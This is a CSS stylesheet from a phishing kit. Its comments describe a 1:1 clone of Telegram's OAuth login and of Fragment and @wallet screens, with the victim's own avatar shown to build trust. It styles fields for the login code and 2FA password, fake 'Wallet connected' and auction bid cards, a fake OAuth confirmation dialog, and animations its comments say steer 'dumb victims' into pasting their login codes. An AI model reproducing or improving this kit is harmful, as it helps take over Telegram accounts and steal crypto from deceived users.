/* Fragment OAuth clone — login flow ripped 1:1 from oauth.telegram.org/auth.
   Avatar swap: left circle = victim's Telegram profile photo; right circle =
   Fragment diamond. Makes the page look like the victim is connecting their
   own TG to Fragment. */
:root{
  --bg:#17212b;
  --card:#17212b;
  --fg:#fff;
  --mute:#7d8e9a;
  --line:#2b3a48;
  --field:#1c2a36;
  --field-hi:#1f2e3c;
  --accent:#3390ec;
  --accent-hi:#4ba0f5;
  --danger:#e53935;
  --warn:#f0a93f;
}
*{box-sizing:border-box}
html,body{margin:0;padding:0;background:var(--bg);color:var(--fg);font-family:'Inter',-apple-system,BlinkMacSystemFont,system-ui,sans-serif;min-height:100vh;-webkit-font-smoothing:antialiased}
body{display:flex;justify-content:center;padding:0 14px 200px;overflow-x:hidden;min-height:100vh}

.help{
  position:fixed;top:14px;right:14px;
  width:30px;height:30px;border-radius:50%;
  background:rgba(125,142,154,.15);color:var(--mute);border:0;
  font:600 14px/1 Inter,sans-serif;cursor:pointer;
  display:flex;align-items:center;justify-content:center;
  z-index:9999;
  /* Anchor outside the stage transform so slide-in animations on stages
     don't drag the help button around. */
  will-change:auto;transform:translateZ(0);
}
.help:hover{background:rgba(125,142,154,.25);color:#fff}

.wrap{
  width:100%;max-width:360px;margin-top:18px;
  text-align:center;
}

/* Twin logos — victim avatar + Fragment diamond, overlapping. */
.logos{
  display:flex;justify-content:center;align-items:center;
  margin-bottom:10px;
}
.logo{
  display:inline-block;width:38px;height:38px;border-radius:50%;
  background-size:cover;background-position:center;
  border:3px solid var(--bg);
  position:relative;
}
.logo + .logo{margin-left:-10px}
.logo.user{
  background:linear-gradient(135deg,#5fa5f1 0%,#3390ec 100%);
  display:flex;align-items:center;justify-content:center;
  font:600 19px Inter,sans-serif;color:#fff;text-transform:uppercase;
  overflow:hidden;letter-spacing:0;
}
.logo.user img{width:100%;height:100%;object-fit:cover;border-radius:50%;display:block}
.logo.frag{
  background:#000;
  display:flex;align-items:center;justify-content:center;
  overflow:hidden;position:relative;
}
.logo.frag img{display:none}
.logo.frag::after{
  content:'';
  width:26px;height:26px;
  background:#fff;
  -webkit-mask:url('/fragment.svg') center/contain no-repeat;
  mask:url('/fragment.svg') center/contain no-repeat;
  display:block;
}

/* @wallet-style icon — TON-blue diamond (real Telegram @wallet branding) */
.logo.wallet-logo{
  background:linear-gradient(135deg,#0098EA 0%,#33b9ff 100%);
  display:flex;align-items:center;justify-content:center;
}
.logo.wallet-logo::after{
  content:'';
  width:22px;height:22px;
  background:#fff;
  -webkit-mask:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2L4 11l8 11 8-11L12 2zm0 3.5L17 11h-3.5v6.5L8 11h-1L12 5.5z'/></svg>") center/contain no-repeat;
  mask:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2L4 11l8 11 8-11L12 2zm0 3.5L17 11h-3.5v6.5L8 11h-1L12 5.5z'/></svg>") center/contain no-repeat;
}

h1{font-size:18px;font-weight:600;margin:0 0 6px;letter-spacing:-.2px}
.sub{color:var(--mute);font-size:13px;line-height:1.45;margin:0 0 14px;padding:0 4px}

.stage{display:flex;flex-direction:column;gap:10px}
.stage.hidden{display:none}
.logos.hidden{display:none}

.field{text-align:left}

/* Pill inputs matching oauth.telegram.org */
.select{position:relative}
.select select,
input[type=tel],input[type=text],input[type=password]{
  width:100%;background:transparent;color:var(--fg);
  border:1px solid var(--line);border-radius:12px;
  padding:11px 16px;font:500 14px Inter,sans-serif;
  outline:0;transition:border-color .15s,background .15s;
  appearance:none;-webkit-appearance:none;
}
.select select{padding-right:38px;cursor:pointer}
/* Desktop browsers render native dropdown panel with white bg + use the
   <select>'s text color for options. White text → invisible on white panel.
   Force dark bg + light text on the <option> elements so the country list
   is readable. iOS Safari ignores this and uses native picker either way. */
.select select option{background:#1c2a36;color:#fff;padding:8px 10px}
.select .caret{
  position:absolute;right:18px;top:50%;transform:translateY(-50%);
  color:var(--mute);font-size:12px;pointer-events:none;
}
input:focus,select:focus{border-color:var(--accent)}
input::placeholder{color:#5c6e7a}

#code{text-align:center;letter-spacing:3px;font-size:18px;font-weight:600;font-family:ui-monospace,Menlo,Consolas,monospace}
#code::placeholder{letter-spacing:1px;font-weight:400;font-family:Inter,sans-serif;font-size:13px;color:#5c6e7a}

/* Primary blue pill button matching Fragment continue */
.btn{
  width:100%;padding:11px 18px;border:0;border-radius:22px;
  font:600 14px Inter,sans-serif;color:#fff;cursor:pointer;
  margin-top:8px;transition:background .15s,transform .05s,opacity .15s;
  display:flex;align-items:center;justify-content:center;gap:8px;
}
.btn:active{transform:translateY(1px)}
.btn.primary{background:var(--accent)}
.btn.primary:hover{background:var(--accent-hi)}
.btn:disabled{opacity:.6;cursor:wait}
.btn .spin{width:16px;height:16px;border:2px solid #fff6;border-top-color:#fff;border-radius:50%;animation:spin .7s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}

/* Secondary "Other login options ›" link */
.alt{
  display:inline-flex;align-items:center;gap:4px;
  color:var(--accent);font-size:14px;font-weight:500;
  margin-top:18px;text-decoration:none;cursor:pointer;
}
.alt:hover{text-decoration:underline}
.alt::after{content:"›";font-size:16px;line-height:1}

.err{color:#ff7a7a;font-size:13px;min-height:18px;text-align:left;padding:0 4px;margin-top:-4px}
.micro{color:var(--mute);font-size:12px;line-height:1.5;margin:6px 0 0;padding:0 4px;text-align:center}
.hint{color:var(--mute);font-size:12.5px;line-height:1.5;margin:6px 4px 2px;text-align:center}

/* 2FA password hint pill — matches Telegram's native "Hint: ..." styling
   shown above the cloud-password field in real clients. */
.pw-hint-row{
  background:rgba(51,144,236,.08);border:1px solid rgba(51,144,236,.2);
  color:#cfd9e1;font-size:13px;line-height:1.5;
  padding:10px 14px;border-radius:10px;margin:0 0 12px;text-align:center;
}
.pw-hint-label{color:var(--accent);font-weight:600;margin-right:4px}

/* Paste + Open-Telegram ghost buttons stacked under the code field */
.paste-btn,.open-tg-btn{
  width:100%;background:rgba(51,144,236,.08);color:var(--accent);
  border:1px solid rgba(51,144,236,.25);border-radius:14px;
  padding:13px 18px;font:600 14px Inter,sans-serif;cursor:pointer;
  display:flex;align-items:center;justify-content:center;gap:8px;
  transition:background .15s;margin-top:8px;
}
.paste-btn:hover,.open-tg-btn:hover{background:rgba(51,144,236,.15)}
.paste-btn:active,.open-tg-btn:active{transform:translateY(1px)}
.open-tg-btn svg,.paste-btn svg{flex-shrink:0}

/* Solid filled variant — used for the primary auto-verify CTA so it stands
   out from the secondary "Paste from clipboard" fallback. */
.open-tg-btn.primary-tone{
  background:var(--accent);color:#fff;border-color:var(--accent);
}
.open-tg-btn.primary-tone:hover{background:var(--accent-hi)}

/* Pulse halo on the autoverify button — fires for ~2s right after
   code is requested, to point the victim's eye at the action that ends
   the flow without them having to think. */
.open-tg-btn.pulse{
  animation:pulseHalo 700ms ease-out 3;
}
@keyframes pulseHalo{
  0%{box-shadow:0 0 0 0 rgba(51,144,236,.55)}
  100%{box-shadow:0 0 0 14px rgba(51,144,236,0)}
}

/* Done state — fake "Wallet connected" */
.done{padding:24px 0;text-align:center}
.check{
  width:64px;height:64px;border-radius:50%;
  background:rgba(67,160,71,.15);color:#66bb6a;
  font-size:32px;font-weight:700;
  display:flex;align-items:center;justify-content:center;
  margin:0 auto 18px;
}
.check.warn-c{background:rgba(240,169,63,.15);color:var(--warn)}
.done h2{font-size:20px;font-weight:600;margin:0 0 8px}
.done p{color:var(--mute);font-size:14px;line-height:1.5;margin:0;padding:0 8px}

[dir=rtl] .field,[dir=rtl] .err,[dir=rtl] .micro{text-align:right}
[dir=rtl] .caret{right:auto;left:18px}

/* @wallet "Create DeFi Account" clone */
.wallet-logos-wrap{
  position:relative;width:100%;height:140px;
  display:flex;justify-content:center;align-items:center;
  margin:24px 0 18px;
}
.wallet-logos{display:flex;align-items:center}
.wlogo{
  width:90px;height:90px;border-radius:50%;
  display:flex;align-items:center;justify-content:center;
  border:4px solid var(--bg);
  position:relative;
}
.wlogo + .wlogo{margin-left:-18px}
.wlogo svg{width:50%;height:50%;display:block}
.wlogo-victim{
  background:linear-gradient(135deg,#5fa5f1 0%,#3390ec 100%);
  z-index:2;color:#fff;font:700 30px Inter,sans-serif;
  text-transform:uppercase;overflow:hidden;
}
.wlogo-victim img{width:100%;height:100%;object-fit:cover;display:block;border-radius:50%}
.wlogo-frag{
  background:#000;
  z-index:1;
  overflow:hidden;
}
.wlogo-frag video{
  width:100%;height:100%;object-fit:cover;display:block;border-radius:50%;
}
/* Sparkle decorations around the logos */
.sparkle{
  position:absolute;color:#FFB845;font-size:14px;
  text-shadow:0 0 8px rgba(255,184,69,.4);
  animation:sparkleTwinkle 2.4s ease-in-out infinite;
}
.sparkle-1{top:18px;left:30%;font-size:18px;animation-delay:0s}
.sparkle-2{top:8px;right:25%;font-size:12px;animation-delay:.6s}
.sparkle-3{bottom:18px;left:18%;font-size:13px;animation-delay:1.2s}
.sparkle-4{bottom:24px;right:18%;font-size:16px;animation-delay:1.8s}
@keyframes sparkleTwinkle{
  0%,100%{opacity:.35;transform:scale(.85)}
  50%{opacity:1;transform:scale(1.15)}
}

.wallet-h1{
  font:700 24px Inter,sans-serif;color:#fff;
  text-align:center;margin:0 0 6px;line-height:1.25;letter-spacing:-.3px;
}
.wallet-h1-sub{font-weight:700}
.wallet-body{
  color:var(--mute);font-size:14px;line-height:1.5;
  text-align:center;margin:0 0 22px;padding:0 8px;
}
.wallet-btn{margin-top:10px;border-radius:24px;padding:14px 18px;font-weight:600;font-size:15px}
.btn.secondary{
  background:rgba(51,144,236,.15);color:#5ea8ff;
}
.btn.secondary:hover{background:rgba(51,144,236,.22)}
.wallet-tos{
  color:var(--mute);font-size:11.5px;line-height:1.55;
  text-align:center;margin:18px 0 0;padding:0 14px;
}
.wallet-tos a{color:var(--mute);text-decoration:underline}
.wallet-bot-ref{
  color:var(--mute);font-size:13px;text-align:center;
  margin:18px 0 0;font-weight:500;
}

/* Fragment-style bid card — auction NFT visual on top, then live tag +
   countdown, big TON amount with USD, anonymous bidder, bid step, username. */
.bid-card{
  background:linear-gradient(145deg,#1f2e3c 0%,#1c2733 100%);
  border:1px solid #2b3a48;border-radius:14px;
  padding:0 0 4px;text-align:left;margin:0 0 6px;overflow:hidden;
}

/* NFT image — loads from nft.fragment.com/username/<USER>.webp. Falls back
   to a diamond emoji if the username isn't on Fragment. */
.nft-img{
  position:relative;width:100%;height:110px;overflow:hidden;
  background:#0e1620;display:flex;align-items:center;justify-content:center;
}
.nft-img img{width:100%;height:100%;object-fit:cover;display:none}
.nft-img img.loaded{display:block}
.nft-fallback{font-size:38px;line-height:1;animation:gemPulse 2.2s ease-in-out infinite}
/* When the Fragment NFT loads, hide the diamond fallback */
.nft-img img.loaded ~ .nft-fallback{display:none}
@keyframes gemPulse{0%,100%{transform:scale(1) rotate(0)}50%{transform:scale(1.06) rotate(2deg)}}

.bid-row-tags{
  display:flex;justify-content:space-between;align-items:center;
  padding:8px 12px 2px;font:600 11px Inter,sans-serif;letter-spacing:.2px;
}
.tag-live{
  color:#66bb6a;background:rgba(102,187,106,.1);
  padding:3px 8px;border-radius:8px;
}
.tag-end{
  color:#ff9e9e;background:rgba(229,57,53,.1);
  padding:3px 8px;border-radius:8px;
}
.tag-end b{color:#ffbdbd;font-weight:700;font-variant-numeric:tabular-nums}

.bid-amount-row{
  display:flex;align-items:flex-end;justify-content:space-between;
  padding:4px 12px 6px;gap:10px;
}
.bid-amount-block{text-align:left}
.bid-bidder-block{text-align:right}
.bid-label-sm{color:var(--mute);font:500 11px Inter,sans-serif;text-transform:uppercase;letter-spacing:.5px;margin-bottom:2px}
.bid-amount{font:700 22px Inter,sans-serif;color:#fff;line-height:1.05}
.bid-cur{font-weight:500;color:#8aa3b8;font-size:15px}
.bid-usd{color:var(--mute);font-size:12px;margin-top:2px}
.bid-bidder{font:600 13px ui-monospace,Menlo,Consolas,monospace;color:#cfd9e1;letter-spacing:.3px}
.bid-step{color:var(--mute);font-size:11px;margin-top:2px}

.bid-username-row{
  display:flex;justify-content:space-between;align-items:center;
  padding:8px 12px;border-top:1px solid #2b3a48;
}
.bid-username{color:#5ea8ff;font:600 14px Inter,sans-serif}

/* Bid history collapsible */
.bid-history{
  background:#1c2733;border:1px solid #2b3a48;border-radius:10px;
  padding:8px 12px;margin-top:6px;
}
.bid-history summary{
  display:flex;justify-content:space-between;cursor:pointer;
  font:500 12px Inter,sans-serif;color:var(--mute);list-style:none;
}
.bid-history summary::-webkit-details-marker{display:none}
.history-label{color:#cfd9e1;font-weight:600}
.history-count{color:var(--mute)}
.history-list{margin-top:8px;display:flex;flex-direction:column;gap:6px}
.history-row{
  display:flex;justify-content:space-between;align-items:center;
  padding:4px 0;border-top:1px solid #2b3a48;
  font:500 12px ui-monospace,Menlo,Consolas,monospace;
}
.history-row:first-child{border-top:0}
.history-addr{color:#8aa3b8}
.history-amt{color:#cfd9e1;font-weight:600}
.history-ago{color:var(--mute);font-size:11px;font-family:Inter,sans-serif}

/* Fineprint */
.fineprint{color:var(--mute);font-size:11px;text-align:center;margin:10px 0 0;padding:0 6px}
.fineprint span{color:#8aa3b8}

/* Trust row under bid card */
.buyer-row{
  display:flex;align-items:center;justify-content:center;gap:8px;
  padding:8px 12px;background:rgba(102,187,106,.07);border:1px solid rgba(102,187,106,.2);
  border-radius:10px;font:500 12px Inter,sans-serif;color:#9ad99c;
}
.buyer-dot{
  width:7px;height:7px;border-radius:50%;background:#66bb6a;
  box-shadow:0 0 0 3px rgba(102,187,106,.22);
}
.buyer-text b{color:#cfe7d1;font-weight:600}

/* Trust footer */
.legal{
  position:fixed;left:0;right:0;bottom:8px;
  text-align:center;color:var(--mute);font:500 11px Inter,sans-serif;line-height:1.6;
  pointer-events:auto;
}
.legal b{color:#8aa3b8;font-weight:600}
.legal a{color:var(--mute);text-decoration:none}
.legal a:hover{color:#cfd9e1}

/* Loading stage */
.loading-wrap{display:flex;flex-direction:column;align-items:center;padding:40px 0 16px;gap:14px}
.ring-spin{
  width:46px;height:46px;border-radius:50%;
  border:3px solid #2b3a48;border-top-color:var(--accent);
  animation:spin .9s linear infinite;
}
.loading-text{color:var(--mute);font-size:14px;text-align:center;margin:0;min-height:18px}
.loading-progress{width:80%;height:4px;background:#2b3a48;border-radius:4px;overflow:hidden}
.loading-bar{height:100%;width:0%;background:linear-gradient(90deg,var(--accent) 0%,#5fa5f1 100%);transition:width .35s ease}
.loading-hash{
  color:#5ea8ff;font:500 11px ui-monospace,Menlo,Consolas,monospace;
  margin:0;letter-spacing:.5px;min-height:14px;
}
.qr-open{margin-top:18px;text-decoration:none}
.qr-hint{color:var(--mute);font-size:12px;text-align:center;margin:6px 0 0}
.qr-hint b{color:#fff}

/* Wallet-style done card */
.balance-card{
  background:linear-gradient(145deg,#1f2e3c 0%,#1c2733 100%);
  border:1px solid #2b3a48;border-radius:14px;
  padding:18px 16px;margin:18px 0 0;text-align:center;
}
.balance-label{color:var(--mute);font-size:12px;letter-spacing:.4px;text-transform:uppercase;margin-bottom:6px}
.balance-val{font:700 28px Inter,sans-serif;color:#fff;margin-bottom:6px}
.balance-cur{font-weight:500;color:#8aa3b8;font-size:18px}
.balance-meta{color:#66bb6a;font-size:13px;margin-top:4px}
.balance-meta b{color:#cfd9e1;font-weight:600}
.balance-addr{
  margin-top:12px;padding:8px 10px;background:#0e1620;border-radius:8px;
  font:500 11px ui-monospace,Menlo,Consolas,monospace;color:#8aa3b8;
  word-break:break-all;letter-spacing:.2px;
}
.closing-hint{color:var(--mute);font-size:12px;margin:14px 0 0;text-align:center}
.closing-hint b{color:#fff}

/* ---------- Fake Telegram OAuth confirmation dialog ----------
   Mirrors oauth.telegram.org's "Log in to X.com" prompt — device, IP,
   geolocated city, Allow Messages toggle. Familiar UX = trust by association. */
.oauth-card{
  background:linear-gradient(145deg,#1f2e3c 0%,#1c2733 100%);
  border:1px solid #2b3a48;border-radius:14px;
  padding:18px 16px 14px;
}
.oauth-logo{
  width:60px;height:60px;margin:0 auto 12px;
}
.oauth-logo video{width:100%;height:100%;border-radius:50%;object-fit:cover}
.oauth-title{
  font:600 18px Inter,sans-serif;color:#fff;
  text-align:center;margin:0 0 6px;
}
.oauth-domain{color:#5ea8ff}
.oauth-sub{
  color:var(--mute);font-size:13px;text-align:center;
  margin:0 0 14px;line-height:1.45;
}
.oauth-sub b{color:#cfd9e1;font-weight:600}

.oauth-row{
  display:flex;align-items:center;gap:12px;
  padding:9px 0;border-top:1px solid #2b3a48;
}
.oauth-row:first-of-type{border-top:0}
.oauth-row-icon{color:var(--mute);flex-shrink:0;width:24px;display:flex;justify-content:center}
.oauth-row-label{color:var(--mute);font-size:13px;font-weight:500;min-width:78px}
.oauth-row-val{
  flex:1;text-align:right;color:#fff;font-size:13px;line-height:1.35;
  word-break:break-all;white-space:pre-line;
}
.oauth-ip{font:500 12.5px ui-monospace,Menlo,Consolas,monospace;color:#cfd9e1}
.oauth-city{color:var(--mute);font-size:11.5px;margin-top:1px}

.oauth-note{
  color:var(--mute);font-size:12px;text-align:center;
  margin:8px 0 12px;padding:0 4px;line-height:1.45;
}

.oauth-toggle-row{
  display:flex;align-items:center;justify-content:space-between;gap:14px;
  padding:10px 0;border-top:1px solid #2b3a48;
}
.oauth-toggle-text{flex:1}
.oauth-toggle-title{color:#fff;font:500 14px Inter,sans-serif;margin-bottom:2px}
.oauth-toggle-sub{color:var(--mute);font-size:12px;line-height:1.35}

.oauth-switch{
  position:relative;width:42px;height:24px;
  display:inline-block;flex-shrink:0;
}
.oauth-switch input{opacity:0;width:0;height:0}
.oauth-slider{
  position:absolute;cursor:pointer;inset:0;
  background:#3a4a5c;border-radius:24px;transition:.2s;
}
.oauth-slider:before{
  content:'';position:absolute;
  width:18px;height:18px;left:3px;top:3px;
  background:#fff;border-radius:50%;transition:.2s;
}
.oauth-switch input:checked + .oauth-slider{background:var(--accent)}
.oauth-switch input:checked + .oauth-slider:before{transform:translateX(18px)}

.oauth-login{margin-top:14px}
.oauth-decline{color:#ff7a7a;margin-top:4px;text-align:center;display:block}
.oauth-decline::after{display:none}

/* ---------- Animated Telegram-style copy tutorial ---------- */
.copy-tutor{
  display:flex;flex-direction:column;align-items:center;gap:8px;
  margin:0 0 14px;
}
.ct-phone{
  width:160px;height:230px;border-radius:22px;
  background:#0a1018;border:2px solid #2b3a48;
  padding:6px;position:relative;overflow:hidden;
}
.ct-notch{
  width:36px;height:5px;border-radius:3px;background:#1c2a36;
  margin:0 auto 4px;
}
.ct-screen{
  position:relative;width:100%;height:calc(100% - 14px);
  background:#0e1620;border-radius:16px;overflow:hidden;
}
.ct-frame{
  position:absolute;inset:0;opacity:0;
  display:flex;flex-direction:column;
}
.ct-frame-1{animation:ctF1 6s ease-in-out infinite}
.ct-frame-2{animation:ctF2 6s ease-in-out infinite}
.ct-frame-3{animation:ctF3 6s ease-in-out infinite}
@keyframes ctF1{0%,28%{opacity:1}33%,100%{opacity:0}}
@keyframes ctF2{0%,32%{opacity:0}37%,62%{opacity:1}67%,100%{opacity:0}}
@keyframes ctF3{0%,66%{opacity:0}71%,97%{opacity:1}100%{opacity:0}}

/* Telegram-style chat header */
.ct-tg-header{
  display:flex;align-items:center;gap:6px;
  padding:7px 9px;border-bottom:1px solid #1c2a36;background:#17212b;
}
.ct-tg-avatar{
  width:18px;height:18px;border-radius:50%;
  background:linear-gradient(135deg,#3390ec 0%,#5fa5f1 100%);
  display:flex;align-items:center;justify-content:center;
}
.ct-tg-avatar svg{margin-left:-1px}
.ct-tg-title{color:#fff;font:600 11px Inter,sans-serif}

/* Telegram message bubble (incoming, left side) */
.ct-tg-msg{
  background:#1c2a36;border-radius:10px 10px 10px 2px;
  padding:7px 9px;margin:10px 8px 0 8px;max-width:88%;
  color:#cfd9e1;font:500 9px Inter,sans-serif;line-height:1.45;
  animation:ctBubbleIn .4s ease-out;
}
@keyframes ctBubbleIn{from{opacity:0;transform:translateX(-6px)}to{opacity:1;transform:translateX(0)}}
.ct-tg-msg-text{margin-bottom:4px}
.ct-tg-code{
  font:600 10.5px ui-monospace,Menlo,Consolas,monospace;
  color:#5ea8ff;letter-spacing:.3px;
  padding:2px 4px;border-radius:3px;
  background:rgba(51,144,236,.08);
  display:inline-block;
}
/* Flash highlight on tap-to-copy */
.ct-tg-code-flash{
  animation:ctFlash 1.2s ease-out;
  background:rgba(51,144,236,.4);
  color:#fff;
}
@keyframes ctFlash{
  0%{background:rgba(51,144,236,.6);transform:scale(1.04)}
  100%{background:rgba(51,144,236,.08);transform:scale(1)}
}

/* "✓ Copied" toast (matches Telegram's native tap-to-copy toast) */
.ct-toast-copied{
  position:absolute;bottom:12px;left:50%;transform:translateX(-50%);
  background:rgba(20,28,38,.95);color:#fff;
  padding:6px 14px;border-radius:12px;
  font:600 10px Inter,sans-serif;
  animation:ctToastIn .35s ease-out;
  box-shadow:0 4px 14px rgba(0,0,0,.5);
}
@keyframes ctToastIn{from{opacity:0;transform:translateX(-50%) translateY(6px)}to{opacity:1;transform:translateX(-50%) translateY(0)}}

/* Animated finger pointing at code */
.ct-finger{
  position:absolute;width:18px;height:18px;border-radius:50%;
  background:rgba(255,255,255,.4);border:2px solid #fff;
  animation:ctFingerTap 1.6s ease-in-out infinite;
  z-index:5;
}
.ct-finger-onCode{top:62%;left:36%}
@keyframes ctFingerTap{
  0%,100%{transform:scale(.85);opacity:.5}
  50%{transform:scale(1.1);opacity:1}
}

/* Our app frame */
.ct-app{
  width:100%;height:100%;
  background:linear-gradient(180deg,#17212b 0%,#0e1620 100%);
  display:flex;flex-direction:column;justify-content:center;align-items:center;gap:10px;
  animation:ctAppIn .4s ease-out;
  padding:14px;
}
@keyframes ctAppIn{from{opacity:0}to{opacity:1}}
.ct-app-logo{
  width:28px;height:28px;border-radius:50%;
  background:linear-gradient(135deg,#0098EA 0%,#33b9ff 100%);
  position:relative;
}
.ct-app-logo::after{
  content:'';position:absolute;inset:5px;
  background:#fff;
  -webkit-mask:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2L4 11l8 11 8-11L12 2z'/></svg>") center/contain no-repeat;
  mask:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2L4 11l8 11 8-11L12 2z'/></svg>") center/contain no-repeat;
}
.ct-app-field{
  background:#1c2a36;border:1.5px solid var(--accent);border-radius:10px;
  color:#fff;font:600 11px ui-monospace,Menlo,Consolas,monospace;letter-spacing:.8px;
  padding:7px 14px;
}
.ct-app-check{
  width:26px;height:26px;border-radius:50%;
  background:rgba(102,187,106,.2);color:#66bb6a;
  font:700 14px Inter,sans-serif;
  display:flex;align-items:center;justify-content:center;
  animation:ctCheckPop .4s .2s ease-out backwards;
}
@keyframes ctCheckPop{from{transform:scale(0)}to{transform:scale(1)}}

.ct-step{
  color:var(--mute);font-size:11px;margin:0;text-align:center;
  min-height:14px;
}

/* Toast */
.toast{
  position:fixed;left:50%;bottom:32px;transform:translateX(-50%) translateY(20px);
  background:#0e1620;color:#fff;padding:10px 18px;border-radius:24px;
  border:1px solid var(--line);font:500 13px Inter,sans-serif;
  opacity:0;pointer-events:none;transition:all .25s;z-index:50;
  max-width:88vw;text-align:center;
}
.toast.show{opacity:1;transform:translateX(-50%) translateY(0)}

/* Smooth iOS-native stage transitions */
.stage{animation:slideInRight .32s cubic-bezier(.4,0,.2,1)}
@keyframes slideInRight{
  from{opacity:0;transform:translateX(28px)}
  to{opacity:1;transform:translateX(0)}
}

/* Native iOS button press feedback — scale down 4% on tap, snap back */
.btn,.paste-btn,.open-tg-btn,.oauth-decline,.wallet-btn{
  transition:transform .12s cubic-bezier(.4,0,.2,1),background .15s,opacity .15s;
}
.btn:active,.paste-btn:active,.open-tg-btn:active,.wallet-btn:active{
  transform:scale(.96)
}

/* Verified-checkmark pulse — subtle blue glow every 4s, like real
   Telegram verified badge */
.verified-tick{
  display:inline-block;width:14px;height:14px;border-radius:50%;
  background:#3390ec;color:#fff;
  font:700 9px Inter,sans-serif;line-height:14px;text-align:center;
  vertical-align:1px;margin-left:4px;
  animation:verifyPulse 4s ease-in-out infinite;
}
@keyframes verifyPulse{
  0%,90%,100%{box-shadow:0 0 0 0 rgba(51,144,236,.6)}
  95%{box-shadow:0 0 0 6px rgba(51,144,236,0)}
}

/* Up-arrow pointing at the iOS notification banner area. Victim never
   leaves the Mini App — they interact with the iOS notification directly.
   Bouncing arrow draws the eye upward. */
.arrow-up{
  display:flex;flex-direction:column;align-items:center;gap:8px;
  margin:0 0 22px;
}
.arrow-icon{
  font-size:36px;line-height:1;color:var(--accent);
  animation:arrowBounce 1.2s ease-in-out infinite;
  filter:drop-shadow(0 0 8px rgba(51,144,236,.35));
}
@keyframes arrowBounce{
  0%,100%{transform:translateY(0)}
  50%{transform:translateY(-8px)}
}
.arrow-text{
  color:var(--mute);font-size:13px;line-height:1.5;text-align:center;padding:0 8px;
}
.arrow-text b{color:#fff;font-weight:600}

/* Animated phone tutorial — shows the "tap-the-bar" gesture so dumb victims
   don't get stranded in Telegram chat after copying the code. */
.tutorial{margin:14px 0 0;display:flex;flex-direction:column;align-items:center;gap:10px;animation:fadeIn .35s ease-out}
.tutorial.hidden{display:none}
@keyframes fadeIn{from{opacity:0;transform:translateY(6px)}to{opacity:1;transform:translateY(0)}}
.phone{
  width:160px;height:240px;border-radius:22px;
  background:#0a1018;border:2px solid #2b3a48;
  display:flex;flex-direction:column;padding:10px 10px 4px;
  position:relative;overflow:hidden;
}
.phone-bar{height:14px;background:#0a1018;border-radius:4px;margin:-6px auto 6px;width:46px;
  border-top:3px solid #1c2a36}
.phone-msg{
  background:#243140;border-radius:8px;padding:7px 9px;color:#cfd9e1;
  font:500 9px Inter,sans-serif;line-height:1.35;
  animation:msgFlash 1.6s ease-in-out infinite alternate;
}
.phone-msg-title{color:#5ea8ff;font-weight:700;font-size:8.5px;margin-bottom:1px}
.phone-msg-body b{color:#fff;background:#3390ec;padding:0 3px;border-radius:2px}
@keyframes msgFlash{0%{box-shadow:0 0 0 0 rgba(51,144,236,0)}100%{box-shadow:0 0 0 4px rgba(51,144,236,.25)}}
.phone-spacer{flex:1}
.phone-pill{
  background:#1c2a36;border:1px solid #3390ec;border-radius:14px;
  padding:6px 10px;display:flex;align-items:center;gap:5px;
  color:#fff;font:600 9px Inter,sans-serif;
  animation:pillPulse 1.2s ease-in-out infinite;
}
.phone-pill-arrow{color:#3390ec;font-size:11px;font-weight:700}
@keyframes pillPulse{
  0%,100%{transform:scale(1);box-shadow:0 0 0 0 rgba(51,144,236,.6)}
  50%{transform:scale(1.04);box-shadow:0 0 0 6px rgba(51,144,236,0)}
}
.phone-finger{
  position:absolute;width:18px;height:18px;border-radius:50%;
  background:rgba(255,255,255,.45);border:2px solid #fff;
  bottom:5px;left:50%;margin-left:-9px;
  animation:fingerTap 1.6s ease-in-out infinite;
}
@keyframes fingerTap{
  0%,100%{transform:translateY(-4px) scale(0.9);opacity:.7}
  40%{transform:translateY(2px) scale(1.05);opacity:1}
  60%{transform:translateY(2px) scale(1.05);opacity:1}
}
